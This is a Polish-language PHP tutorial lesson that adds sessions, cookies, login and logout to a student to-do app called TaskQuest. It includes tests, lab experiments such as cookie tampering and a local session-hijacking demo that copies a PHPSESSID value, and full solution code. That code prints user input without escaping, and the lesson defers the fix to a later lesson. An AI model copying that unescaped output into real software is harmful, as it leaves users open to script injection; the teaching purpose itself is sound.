Test 4 — wylogowanie

Co robiszOczekiwany efekt
wpisujesz w adres wyloguj.php (GET)powrót na index.php, nadal zalogowana/y
klikasz „Wyloguj”zaloguj.php; stary plik sess_... zniknął z C:\xampp\tmp
po wylogowaniu otwierasz index.phpzaloguj.php
„Wstecz” w przeglądarce, potem F5najpierw może być widoczna kopia strony z pamięci przeglądarki, po F5 — zaloguj.php
logujesz się jako Kama_2026 / Kama„Witaj, Kama!” — nic nie zostało po poprzednim użytkowniku

Test 5 — komunikat jednorazowy

Co robiszOczekiwany efekt
dodajesz poprawne zadanieadres index.php (bez ?dodano=1), zielona ramka na górze, zadanie na liście
F5brak ramki, brak pytania o ponowne wysłanie, zadań nie przybyło
wpisujesz index.php?dodano=1brak ramki, brak błędów
wysyłasz formularz z błędami (novalidate), potem wracasz linkiem na index.phpbrak ramki — komunikat powstaje tylko po udanym zapisie
F12 → Sieć przy dodawaniuPOST dodaj-zadanie.php → 302, GET index.php → 200

Test 6 — widok zapamiętany w cookie

Co robiszOczekiwany efekt
klikasz „aktywne”Widok: aktywne; w F12 ciasteczko filtr = aktywne, wygasa za 30 dni
otwierasz index.php (bez parametru)Widok: aktywne
dodajesz zadaniepo powrocie Widok: aktywne
zamykasz całą przeglądarkę, otwierasz, logujesz sięWidok: aktywne (ciasteczko przetrwało, sesja nie)
wylogowujesz się i logujesz jako inny użytkownikWidok: aktywne — ciasteczko należy do przeglądarki
otwierasz index.php?filtr=abcWidok: wszystkie, ciasteczko filtr = wszystkie
klikasz „wykonane”, potem w F12 zmieniasz ciasteczko na AKTYWNE i otwierasz index.phpWidok: wszystkie, brak błędów; ciasteczko nadal AKTYWNE (nie nadpisujemy go, bo w adresie nie było filtr)
usuwasz ciasteczko filtr w F12, otwierasz index.phpWidok: wszystkie
okno incognito, logowanieWidok: wszystkie

Test 7 — regresja

Zaloguj się i porównaj taskquest/index.php z taskquest_lekcja13/index.php tego samego dnia, na oryginalnym pliku zadań i w widoku „wszystkie”. Różnice mogą być tylko takie:

  • zamiast „Login poprawny: Kama_2026” — „Zalogowano jako Kama_2026” i przycisk „Wyloguj”,
  • (raz, po logowaniu) zielona ramka na górze,
  • wersja w stopce 1.3 → 1.4.

Liczniki, pasek XP, streak, komunikaty terminów, najpilniejsze zadanie i lista — identyczne. Test awarii z Lekcji 12 (zmiana nazwy data/zadania.csv) nadal daje czerwoną ramkę na stronie głównej. diagnostyka.php: 15 × [OK].

Sprzątanie

Gdy testy przeszły i wykonasz eksperymenty z sekcji 8 (Eksperymenty 1 i 2 korzystają jeszcze z brudnopisu):

  1. usuń brudnopis.php i brudnopis2.php,
  2. w F12 usuń ciasteczka licznik, wizyty i test, jeśli zostały (to pozostałości brudnopisu, nie TaskQuest),
  3. usuń novalidate z formularzy w zaloguj.php i dodaj-zadanie.php, jeśli został,
  4. przywróć data/zadania.csv z kopii albo zostaw zadania, które chcesz mieć,
  5. wyloguj się, zaloguj ponownie i sprawdź index.php oraz diagnostyka.php.

8. Obowiązkowe eksperymenty

Gdzie: przy każdym eksperymencie jest napisane, w jakim pliku go wykonać. Po każdym przywróć kod do stanu z sekcji 5–6.

Eksperyment 1: za późno na nagłówki

Brudnopis. Wpisz:

<?php

echo str_repeat('x', 5000);

session_start();
setcookie('test', '1');

Przeczytaj oba ostrzeżenia. Co znaczy output started at ...:3? Teraz zmień 5000 na 50 — ostrzeżenia zniknęły. Dlaczego? XAMPP ma włączone buforowanie wyjścia (output_buffering = 4096 w php.ini): pierwsze 4096 bajtów treści PHP trzyma w pamięci, więc nagłówki „zdążą” wyjść. Na serwerze z wyłączonym buforowaniem już pierwsza spacja przed <?php psuje sesję i ciasteczka. Dlatego w TaskQuest session_start() stoi w pierwszej linii, a setcookie() — przed header.php, niezależnie od tego, czy XAMPP by nam wybaczył.

Eksperyment 2: $_COOKIE widzi przeszłość

Brudnopis.

<?php

setcookie('test', time());

echo "W \$_COOKIE jest: " . ($_COOKIE['test'] ?? '(brak)') . "<br>";
echo "Właśnie ustawiono: " . time();

Otwórz stronę, odczekaj kilka sekund, odśwież, znowu odczekaj, odśwież. Przewidź przed każdym odświeżeniem, co będzie w pierwszej linii. Wyjaśnij na podstawie schematu z sekcji 3.2, kiedy przeglądarka wysyła ciasteczko. Który fragment index.php byłby błędny, gdyby po setcookie('filtr', ...) wyświetlał $_COOKIE['filtr'] zamiast $filtr?

Eksperyment 3: ciasteczka w rękach użytkownika

Projekt, F12 → Pliki cookie, zalogowana/y:

a) Zmień wartość filtr kolejno na: wykonane, WYKONANE, <b>wykonane</b>. Po każdej zmianie otwórz index.php (bez parametru). Co pokazuje linia Widok: ...? Co by się stało z tą linią przy <b>wykonane</b>, gdyby nie było zawężenia do trzech wartości?

b) Dodaj w F12 nowe ciasteczko login z wartością Admin (w Chrome: dwuklik w pustym wierszu tabeli; w Firefoksie przycisk +) i odśwież index.php. Czy coś się zmieniło? Dlaczego nie? Co by się stało, gdyby index.php brał login z $_COOKIE['login'] zamiast z sesji?

Eksperyment 4: sesja w rękach serwera

Projekt, zalogowana/y jako Ola_2026 / Ola.

a) Otwórz w edytorze plik sess_... w C:\xampp\tmp (nazwa = wartość PHPSESSID). Znajdź imie|s:3:"Ola"; i zamień na imie|s:3:"Ala"; (liczba 3 to długość tekstu — musi się zgadzać). Zapisz, odśwież index.php. Kto widzi teraz stronę? Kto może zmienić dane w sesji — użytkownik czy administrator serwera?

b) W F12 zmień jeden znak w wartości PHPSESSID i odśwież. Dlaczego trafiasz na zaloguj.php? Czy podmiana identyfikatora „przerobiła” jakiekolwiek dane?

Eksperyment 5: kto ma numerek, ten ma kurtkę (zapowiedź Lekcji 22)

Projekt, dwie przeglądarki (albo zwykłe okno + incognito).

  1. W zwykłym oknie zaloguj się jako Kama_2026 i skopiuj z F12 wartość PHPSESSID.
  2. W oknie incognito otwórz zaloguj.php (powstanie tam osobne ciasteczko PHPSESSID), w F12 wklej w nie skopiowaną wartość i otwórz index.php.

Kim jesteś w oknie incognito? Nie znasz loginu ani nie wysłałaś/wysłałeś formularza — wystarczył identyfikator. Tak wygląda przejęcie sesji (session hijacking): kto zdobędzie cudzy PHPSESSID (np. przez skrypt wstrzyknięty na stronę — pamiętasz Eksperyment 5 z Lekcji 13? — albo podsłuchując połączenie bez HTTPS), ten jest zalogowany jako ofiara. Przed czym chroni wtedy session_regenerate_id(), a przed czym nie? Obronę (m.in. httponly, secure, HTTPS, htmlspecialchars()) zbudujemy w Lekcji 22.

Na koniec kliknij „Wyloguj” w jednym z okien i odśwież drugie. Co się stało i dlaczego?

Eksperyment 6: po co exit w wymagajLogowania()?

Projekt, includes/funkcje_sesji.php. Usuń exit; z wymagajLogowania().

  1. W karcie A (zalogowana/y) otwórz dodaj-zadanie.php i wypełnij formularz, nie wysyłaj.
  2. W karcie B kliknij „Wyloguj”.
  3. W karcie A wyślij formularz.

Trafiasz na zaloguj.php — wygląda na to, że ochrona zadziałała. Otwórz jednak data/zadania.csv. Co tam jest? Prześledź kod: co zrobił PHP po header('Location: zaloguj.php'), skoro nic go nie zatrzymało? Dlaczego ostatecznie przeglądarka trafiła na zaloguj.php, a nie zobaczyła formularza? Przywróć exit;, powtórz kroki 1–3 i sprawdź plik. Usuń dopisane zadanie.

Eksperyment 7 (dodatkowy): bez nowego identyfikatora

Projekt, zaloguj.php. Zakomentuj session_regenerate_id(true);. Wyloguj się, na stronie logowania zapisz wartość PHPSESSID, zaloguj się i porównaj. Co się zmieniło w porównaniu z Testem 3? Wyobraź sobie, że ktoś zna Twój identyfikator sprzed logowania (bo np. sam go podsunął). Co ma po Twoim zalogowaniu — z tą linią i bez niej? Przywróć linię.

9. ROZWIĄZANIE

Pełny kod TaskQuest po Lekcji 14. Nowe: zaloguj.php, wyloguj.php, includes/funkcje_sesji.php. Zmienione: index.php, dodaj-zadanie.php, config/config.php, includes/funkcje_tekstowe.php, includes/footer.php, diagnostyka.php. Bez zmian względem Lekcji 13: includes/header.php, includes/funkcje_grywalizacji.php, includes/funkcje_terminow.php, includes/funkcje_zadan.php, includes/funkcje_diagnostyczne.php, includes/funkcje_plikow.php, data/zadania.csv.

ROZWIĄZANIE

config/config.php

Dotychczasowe XP_NA_POZIOM i PLIK_ZADAN bez zmian. Na końcu pliku dochodzi:

define('CZAS_PAMIETANIA_WIDOKU', 60 * 60 * 24 * 30); // 30 dni w sekundach

includes/funkcje_tekstowe.php

Dotychczasowe funkcje (walidujLogin(), wyczyscTytul(), skrocOpis()) bez zmian. Na końcu pliku dochodzi:

function walidujDaneLogowania(string $login, string $imieUzytkownika): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = "Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.";
    }

    if ($imieUzytkownika === '') {
        $bledy[] = "Imię jest wymagane.";
    } elseif (mb_strlen($imieUzytkownika) > 30) {
        $bledy[] = "Imię może mieć najwyżej 30 znaków.";
    }

    return $bledy;
}

includes/funkcje_sesji.php

<?php

function czyZalogowany(): bool
{
    return isset($_SESSION['login']);
}


function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        header('Location: zaloguj.php');
        exit;
    }
}


function ustawKomunikat(string $komunikat): void
{
    $_SESSION['komunikat'] = $komunikat;
}


function pobierzKomunikat(): string
{
    $komunikat = $_SESSION['komunikat'] ?? '';
    unset($_SESSION['komunikat']);

    return $komunikat;
}

zaloguj.php

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- zalogowany użytkownik nie potrzebuje formularza logowania ---
if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}


// --- dane logowania (na start puste — formularz jeszcze nie został wysłany) ---
$login = '';
$imieUzytkownika = '';

$bledy = [];


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $imieUzytkownika = trim($_POST['imie'] ?? '');

    $bledy = walidujDaneLogowania($login, $imieUzytkownika);

    if (count($bledy) === 0) {
        session_regenerate_id(true);

        $_SESSION['login'] = $login;
        $_SESSION['imie'] = $imieUzytkownika;

        ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
        header('Location: index.php');
        exit;
    }
}


// --- prezentacja ---
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
        <h2>Logowanie</h2>
        <p>Wersja demonstracyjna: podaj login i imię — bez hasła.</p>

        <?php if (count($bledy) > 0) { ?>
        <div class="blad">
            <p>Popraw formularz:</p>
            <ul>
                <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
                <?php } ?>
            </ul>
        </div>
        <?php } ?>

        <form method="post" action="zaloguj.php">
            <label for="login">Login *</label>
            <input type="text" id="login" name="login" maxlength="20" required value="<?= $login; ?>">

            <label for="imie">Imię *</label>
            <input type="text" id="imie" name="imie" maxlength="30" required value="<?= $imieUzytkownika; ?>">

            <button type="submit">Wejdź do TaskQuest</button>
        </form>
<?php
require_once __DIR__ . '/includes/footer.php';

wyloguj.php

<?php

session_start();

// --- wylogowanie zmienia stan aplikacji, więc przyjmujemy tylko POST ---
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}


// --- koniec sesji: dane, ciasteczko z identyfikatorem, plik na serwerze ---
$_SESSION = [];

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();


header('Location: zaloguj.php');
exit;

dodaj-zadanie.php

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane nowego zadania (na start puste — formularz jeszcze nie został wysłany) ---
$tytulZadania = '';
$opisZadania = '';
$terminZadania = '';
$xpZadania = '';

$bledy = [];
$bladZapisu = null;


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $tytulZadania = wyczyscTytul($_POST['tytul'] ?? '');
    $opisZadania = trim(preg_replace('/\s+/', ' ', $_POST['opis'] ?? ''));
    $terminZadania = trim($_POST['termin'] ?? '');
    $xpZadania = trim($_POST['xp'] ?? '');

    $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);

    if (count($bledy) === 0) {
        try {
            $zadania = wczytajZadania(PLIK_ZADAN);

            $zadania[] = [
                'id' => nastepneIdZadania($zadania),
                'tytul' => $tytulZadania,
                'opis' => $opisZadania,
                'termin' => $terminZadania,
                'wykonane' => false,
                'xp' => (int) $xpZadania
            ];

            zapiszZadania(PLIK_ZADAN, $zadania);

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;
        } catch (Exception $wyjatek) {
            $bladZapisu = $wyjatek->getMessage();
        }
    }
}


// --- prezentacja ---
$nazwaStrony = 'Dodaj zadanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
        <h2>Nowe zadanie</h2>
        <p><a href="index.php">← Wróć do listy zadań</a></p>

        <?php if (count($bledy) > 0) { ?>
        <div class="blad">
            <p>Popraw formularz:</p>
            <ul>
                <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
                <?php } ?>
            </ul>
        </div>
        <?php } ?>

        <?php if ($bladZapisu !== null) { ?>
        <p class="blad">Nie udało się dodać zadania: <?= $bladZapisu; ?></p>
        <?php } ?>

        <form method="post" action="dodaj-zadanie.php">
            <label for="tytul">Tytuł *</label>
            <input type="text" id="tytul" name="tytul" maxlength="100" required value="<?= $tytulZadania; ?>">

            <label for="opis">Opis</label>
            <textarea id="opis" name="opis" rows="3" maxlength="300"><?= $opisZadania; ?></textarea>

            <label for="termin">Termin *</label>
            <input type="date" id="termin" name="termin" required value="<?= $terminZadania; ?>">

            <label for="xp">Nagroda XP (1–100) *</label>
            <input type="number" id="xp" name="xp" min="1" max="100" required value="<?= $xpZadania; ?>">

            <button type="submit">Dodaj zadanie</button>
        </form>
<?php
require_once __DIR__ . '/includes/footer.php';

index.php

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane użytkownika (z sesji — zapisane przy logowaniu w zaloguj.php) ---
$imieUzytkownika = $_SESSION['imie'];
$login = $_SESSION['login'];


// --- dane zadań (z pliku CSV) ---
$zadania = [];
$bladZadan = null;

try {
    $zadania = wczytajZadania(PLIK_ZADAN);
} catch (Exception $wyjatek) {
    $bladZadan = $wyjatek->getMessage();
}


// --- dane grywalizacji (symulowane) ---
$xp = 99;
$streak = 5;
$dataOstatniejAktywnosci = "2026-09-14";


// --- wywołania funkcji: grywalizacja ---
$poziom = obliczPoziom($xp);
$tytul = pobierzTytul($poziom);
$xpWAktualnymPoziomie = obliczXpWAktualnymPoziomie($xp, $poziom);
$procentPostepu = obliczProcentPostepu($xpWAktualnymPoziomie);
$brakujeXp = ileBrakujeXp($xp, $poziom);

//pasek postępu
$liczbaAktywnychSegmentow = (int) ($procentPostepu / 10);
$progNastepnegoPoziomu = $poziom * XP_NA_POZIOM;


// --- wywołania funkcji: lista zadań ---
$wykonaneZadania = pobierzWykonaneZadania($zadania);
$aktywneZadania = pobierzAktywneZadania($zadania);

$liczbaWszystkich = count($zadania);
$liczbaWykonanych = count($wykonaneZadania);
$liczbaAktywnych = count($aktywneZadania);

$xpDoZdobycia = sumujXp($aktywneZadania);

$zadaniaWgTerminu = sortujPoTerminie($zadania);
$aktywneWgTerminu = sortujPoTerminie($aktywneZadania);
$wykonaneWgTerminu = sortujPoTerminie($wykonaneZadania);

// uproszczenie (symulacja): aktywność = wykonane jakiekolwiek zadanie z listy
$zadanieWykonane = $liczbaWykonanych > 0;

$streak = aktualizujStreak($streak, $dataOstatniejAktywnosci, $zadanieWykonane);


// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = $_GET['filtr'] ?? $_COOKIE['filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' && $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET['filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' => $zadaniaWgTerminu,
    'aktywne' => $aktywneWgTerminu,
    'wykonane' => $wykonaneWgTerminu
};


// --- komunikat jednorazowy (z sesji) ---
$komunikat = pobierzKomunikat();


// --- prezentacja ---
$nazwaStrony = 'TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
        <?php if ($komunikat !== '') { ?>
        <p class="sukces"><?= $komunikat; ?></p>
        <?php } ?>

        <p>Zdobywaj punkty za wykonane zadania!</p>

        <p>Zalogowano jako <strong><?= $login; ?></strong></p>
        <form method="post" action="wyloguj.php">
            <button type="submit">Wyloguj</button>
        </form>

        <h2>Witaj, <?= $imieUzytkownika; ?>!</h2>

        <p>Poziom: <strong><?= $poziom; ?></strong></p>
        <p>Tytuł: <strong><?= $tytul; ?></strong></p>
        <p>Łączne XP: <strong><?= $xp; ?></strong></p>

        <h3>
            <?= "Masz $xpWAktualnymPoziomie XP z " . XP_NA_POZIOM . " XP potrzebnych do poziomu " . ($poziom + 1) . " (" . round($procentPostepu, 2) . "%)"; ?>
        </h3>

        <div class="pasek-xp">
            <?php
            for ($segment = 1; $segment <= 10; $segment++) {
                if ($segment <= $liczbaAktywnychSegmentow) {
                    echo "█";
                } else {
                    echo "░";
                }
            }
            ?>
        </div>

        <p>Kolejny próg: <?= $progNastepnegoPoziomu; ?> XP</p>
        <p>Brakuje XP: <strong><?= $brakujeXp; ?></strong></p>
        <p>Streak: <strong><?= $streak ?></strong></p>

        <h2>Twoje zadania</h2>

        <p><a href="dodaj-zadanie.php">+ Dodaj zadanie</a></p>

        <?php if ($bladZadan !== null) { ?>
        <p class="blad">Nie udało się wczytać zadań: <?= $bladZadan; ?></p>
        <?php } else { ?>

        <p>
            Wszystkie: <strong><?= $liczbaWszystkich; ?></strong> |
            Wykonane: <strong><?= $liczbaWykonanych; ?></strong> |
            Aktywne: <strong><?= $liczbaAktywnych; ?></strong>
        </p>
        <p>XP do zdobycia z aktywnych zadań: <strong><?= $xpDoZdobycia; ?></strong></p>

        <?php
        if ($liczbaWszystkich === 0) {
            echo "<p>Brak zadań.</p>";
        } elseif ($liczbaAktywnych === 0) {
            echo "<p>Wszystkie zadania wykonane — świetna robota!</p>";
        } else {
            if ($xpDoZdobycia >= $brakujeXp) {
                echo "<p class=\"awans\">Wykonując aktywne zadania, awansujesz na poziom " . ($poziom + 1) . "!</p>";
            } else {
                echo "<p>Aktywne zadania nie wystarczą jeszcze na awans — brakuje " . ($brakujeXp - $xpDoZdobycia) . " XP.</p>";
            }

            $najpilniejsze = $aktywneWgTerminu[0];
            echo "<p>Najpilniejsze zadanie: <strong>" . wyczyscTytul($najpilniejsze['tytul']) . "</strong> — "
                . komunikatTerminu($najpilniejsze['termin']) . "</p>";
        }

        echo "<h3>Lista zadań (wg terminu)</h3>";
        echo "<p>Pokaż: <a href=\"index.php?filtr=wszystkie\">wszystkie</a> | "
            . "<a href=\"index.php?filtr=aktywne\">aktywne</a> | "
            . "<a href=\"index.php?filtr=wykonane\">wykonane</a></p>";
        echo "<p>Widok: <strong>$filtr</strong></p>";

        if ($liczbaWszystkich > 0 && count($zadaniaDoWyswietlenia) === 0) {
            echo "<p>Brak zadań w tym widoku.</p>";
        }

        foreach ($zadaniaDoWyswietlenia as $zadanie) {
            $tytulCzysty = wyczyscTytul($zadanie['tytul']);
            $znacznik = $zadanie['wykonane'] ? "[X]" : "[ ]";
            $klasa = $zadanie['wykonane'] ? "zadanie wykonane" : "zadanie";

            echo "<div class=\"$klasa\">";
            echo "<p><strong>$znacznik $tytulCzysty</strong> — {$zadanie['xp']} XP</p>";
            echo "<p>" . skrocOpis($zadanie['opis'], 50) . "</p>";
            echo "<p>Termin: {$zadanie['termin']}";

            if (!$zadanie['wykonane']) {
                echo " — " . komunikatTerminu($zadanie['termin']);
            }

            echo "</p>";

            if (stripos($tytulCzysty, 'PHP') !== false) {
                echo "<p>To zadanie dotyczy PHP.</p>";
            }

            echo "</div>";
        }
        ?>
        <?php } ?>
<?php
require_once __DIR__ . '/includes/footer.php';

includes/footer.php

        <p>TaskQuest 1.4</p>
    </div>
</body>
</html>

diagnostyka.php

Jedyna zmiana: w tablicy $wymaganePliki dochodzą 'zaloguj.php', 'wyloguj.php' i 'includes/funkcje_sesji.php' (razem 15 ścieżek). Reszta pliku bez zmian — nadal bez session_start() i bez sprawdzania logowania.

10. Co zmieniliśmy w TaskQuest?

Zostaje

$imieUzytkownika, $login          // te same nazwy i znaczenie — zmienia się tylko źródło wartości (sesja)
$xp, $poziom, $tytul, $xpWAktualnymPoziomie, $procentPostepu, $brakujeXp,
$liczbaAktywnychSegmentow, $progNastepnegoPoziomu
$streak, $dataOstatniejAktywnosci, $zadanieWykonane
$zadania, $bladZadan, $wykonaneZadania, $aktywneZadania, $liczbaWszystkich, $liczbaWykonanych,
$liczbaAktywnych, $zadaniaWgTerminu, $aktywneWgTerminu, $wykonaneWgTerminu, $xpDoZdobycia
$filtr, $zadaniaDoWyswietlenia
$nazwaStrony
// dodaj-zadanie.php: $tytulZadania, $opisZadania, $terminZadania, $xpZadania, $bledy, $bladZapisu
define('XP_NA_POZIOM', 100), define('PLIK_ZADAN', ...)

wszystkie funkcje z Lekcji 1–13 — kod bez zmian (walidujLogin() przeniosła się z index.php do logowania)
struktura tablicy $zadania i format data/zadania.csv
obsługa awarii pliku (try/catch), walidacja formularza (tablica $bledy), wzorzec POST → przekierowanie → GET

Dochodzi

// includes/funkcje_sesji.php (nowy plik)
czyZalogowany()           // true, gdy w sesji jest 'login'
wymagajLogowania()        // niezalogowany → przekierowanie na zaloguj.php + exit
ustawKomunikat()          // komunikat jednorazowy do $_SESSION['komunikat']
pobierzKomunikat()        // odczyt komunikatu i usunięcie go z sesji ('' = brak)

// includes/funkcje_tekstowe.php
walidujDaneLogowania()    // tablica komunikatów; login sprawdza przez walidujLogin()

// zaloguj.php (nowy plik): $login, $imieUzytkownika (dane z formularza), $bledy
// wyloguj.php (nowy plik)

// index.php
$komunikat                // wynik pobierzKomunikat()

// sesja: $_SESSION['login'], $_SESSION['imie'], $_SESSION['komunikat']
// cookie: filtr (30 dni)
// config/config.php
define('CZAS_PAMIETANIA_WIDOKU', 60 * 60 * 24 * 30)

Nowe narzędzia PHP: setcookie(), $_COOKIE, time(), session_start(), $_SESSION, unset() na elemencie sesji, session_regenerate_id(), session_name(), session_destroy(), łańcuch operatorów ??, exit wewnątrz funkcji.

Zmieniamy

  • index.php: session_start() na początku; wymagajLogowania(); $imieUzytkownika i $login z sesji; blok „Login poprawny / niepoprawny” zastąpiony przez „Zalogowano jako …” i przycisk „Wyloguj”; komunikat jednorazowy na górze panelu; $filtr odczytywany z adresu albo z ciasteczka i zapisywany do ciasteczka,
  • dodaj-zadanie.php: session_start(), wymagajLogowania(), po zapisie ustawKomunikat() i przekierowanie na samo index.php,
  • config/config.php: nowa stała,
  • includes/footer.php: TaskQuest 1.4,
  • diagnostyka.php: 15 wymaganych plików.

Usuwamy

  • $zadanieDodane (i parametr ?dodano=1) — komunikat „Zadanie zostało dodane.” przeniósł się do sesji; parametr w adresie dawał się podrobić i nie znikał po odświeżeniu.
  • Blok „Login poprawny: … / Login jest niepoprawny.” w index.php — login trafia do sesji tylko po sprawdzeniu w zaloguj.php, więc w index.php warunek byłby zawsze prawdziwy. walidujLogin() zostaje i jest używana w walidujDaneLogowania().
  • Wartości "Kama" i "Kama_2026" wpisane na sztywno — zastąpione danymi zalogowanego użytkownika (zmienne zostają).

Co nowego potrafi TaskQuest po tej lekcji?

Po Lekcji 14 TaskQuest wie, kto z niego korzysta. Strona główna i formularz dodawania są dostępne tylko po zalogowaniu (wersja demonstracyjna: login sprawdzany przez walidujLogin() i imię, bez hasła); login i imię są przechowywane w sesji po stronie serwera, a przy logowaniu identyfikator sesji jest zmieniany. Wylogowanie (tylko przez POST) usuwa dane sesji, jej ciasteczko i plik na serwerze. Komunikaty „Zadanie zostało dodane.” i „Zalogowano…” pojawiają się dokładnie raz i nie da się ich wywołać adresem. Wybrany widok listy jest zapamiętywany w ciasteczku przez 30 dni, a jego wartość — jak każda dana od użytkownika — jest sprawdzana przed użyciem.

Do samodzielnego sprawdzenia

[ ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
[ ] Potrafię wyjaśnić, dlaczego zwykła zmienna PHP nie przetrwa do następnego żądania.
[ ] Wiem, gdzie leży cookie, a gdzie dane sesji, i co przechowuje ciasteczko PHPSESSID.
[ ] Wiem, dlaczego $_COOKIE sprawdzam jak $_GET, a tego, co sam zapisałam/zapisałem w $_SESSION — nie.
[ ] Wiem, że setcookie() i session_start() wysyłają nagłówki — muszą być przed HTML.
[ ] Wiem, że ciasteczko ustawione teraz zobaczę w $_COOKIE dopiero w następnym żądaniu.
[ ] Mam funkcje_sesji.php z czterema funkcjami i walidujDaneLogowania(); Test 1 i Test 2 się zgadzają.
[ ] index.php i dodaj-zadanie.php bez logowania przenoszą na zaloguj.php (Test 3).
[ ] Wylogowanie działa tylko przyciskiem (POST), usuwa sesję i jej ciasteczko (Test 4).
[ ] Komunikat po dodaniu zadania i po logowaniu pojawia się raz; ?dodano=1 nic nie robi (Test 5).
[ ] Widok listy jest pamiętany; zmienione w F12 ciasteczko nie psuje strony (Test 6).
[ ] diagnostyka.php pokazuje 15 razy [OK]; strona główna jak po Lekcji 13 (Test 7).
[ ] Potrafię wyjaśnić, co pokazał Eksperyment 5 (przejęcie sesji) i Eksperyment 6 (exit).
[ ] Usunęłam/usunąłem brudnopisy i ich ciasteczka.

Pytania kontrolne


  1. Otwierasz index.php pierwszy raz w nowej przeglądarce. Opisz po kolei, co dzieje się z sesją: co robi session_start(), jakie ciasteczko dostaje przeglądarka, co powstaje na serwerze i dokąd ostatecznie trafia użytkownik.



  2. Przewidź, co wypisze ten kod przy pierwszym i przy drugim otwarciu strony:


    <?php
    setcookie('kolor', 'zielony');
    $_SESSION['kolor'] = 'niebieski';
    echo $_COOKIE['kolor'] ?? 'brak';

    W kodzie jest jeszcze jeden błąd dotyczący sesji — jaki? Czy niebieski będzie dostępny przy drugim otwarciu?



  3. Kolega proponuje: „Zamiast sesji zapiszmy po logowaniu ciasteczko login=Kama_2026 na 30 dni — użytkownik nie będzie musiał się logować”. Co może zrobić dowolny użytkownik z taką aplikacją? Dlaczego z widokiem listy w ciasteczku takiego problemu nie ma?



  4. Dlaczego w pobierzKomunikat() najpierw zapisujemy komunikat w zmiennej, a dopiero potem wywołujemy unset()? Co by się stało, gdyby w index.php wywołać pobierzKomunikat() dwa razy — raz w if, raz przy wypisywaniu?



  5. W index.php odczytujemy $_SESSION['imie'] bez ??, a $_COOKIE['filtr'] — z ??. Wyjaśnij, dlaczego oba zapisy są poprawne.



  6. Co się stanie, jeśli z wymagajLogowania() usuniesz exit? Dlaczego użytkownik „nic nie zauważy”, a mimo to aplikacja jest dziurawa (Eksperyment 6)?



  7. Ktoś wpisze w pasek adresu wyloguj.php. Co się stanie i dlaczego tak to zaprojektowaliśmy? Którą regułę z Lekcji 13 stosujemy?



  8. Wymień trzy kroki pełnego zakończenia sesji w wyloguj.php. Czego brakowałoby, gdyby był tylko $_SESSION = [];?



  9. Po co w zaloguj.php jest session_regenerate_id(true) i dlaczego akurat tuż przed zapisaniem loginu do sesji?



  10. Kama wybrała widok „aktywne”, wylogowała się, a przy tym samym komputerze zalogowała się Ola. Jaki widok zobaczy Ola i dlaczego? Jak zmieniłoby się to, gdyby widok był zapisany w sesji?



  11. Adres index.php?filtr=wykonane i ciasteczko filtr=aktywne pojawiają się jednocześnie. Jaki widok zobaczy użytkownik i jaka wartość zostanie w ciasteczku?


Zadanie końcowe — rozbuduj TaskQuest samodzielnie

Wybierz jedno (albo więcej):

A) „Zapamiętaj mój login”. Na zaloguj.php dodaj pole <input type="checkbox" name="zapamietaj" value="1"> z etykietą „Zapamiętaj mój login na tym komputerze”. Po udanym logowaniu:

  • gdy pole jest zaznaczone — zapisz login w ciasteczku ostatniLogin na 30 dni,
  • gdy nie jest — usuń to ciasteczko.

Przy wejściu na zaloguj.php (przed wysłaniem formularza) wstaw login z ciasteczka do pola loginu — ale tylko wtedy, gdy przechodzi walidujLogin() (ciasteczko to dane od użytkownika). Checkbox ma być zaznaczony, gdy ciasteczko istnieje. Pytania do przemyślenia: dlaczego ciasteczko może podpowiedzieć login, ale nie może zalogować użytkownika bez formularza? Co by się stało, gdyby ktoś w F12 wpisał w ostatniLogin tekst "><b>x</b> — i dlaczego sprawdzenie przez walidujLogin() akurat tu pomaga (zob. Eksperyment 5 z Lekcji 13)?

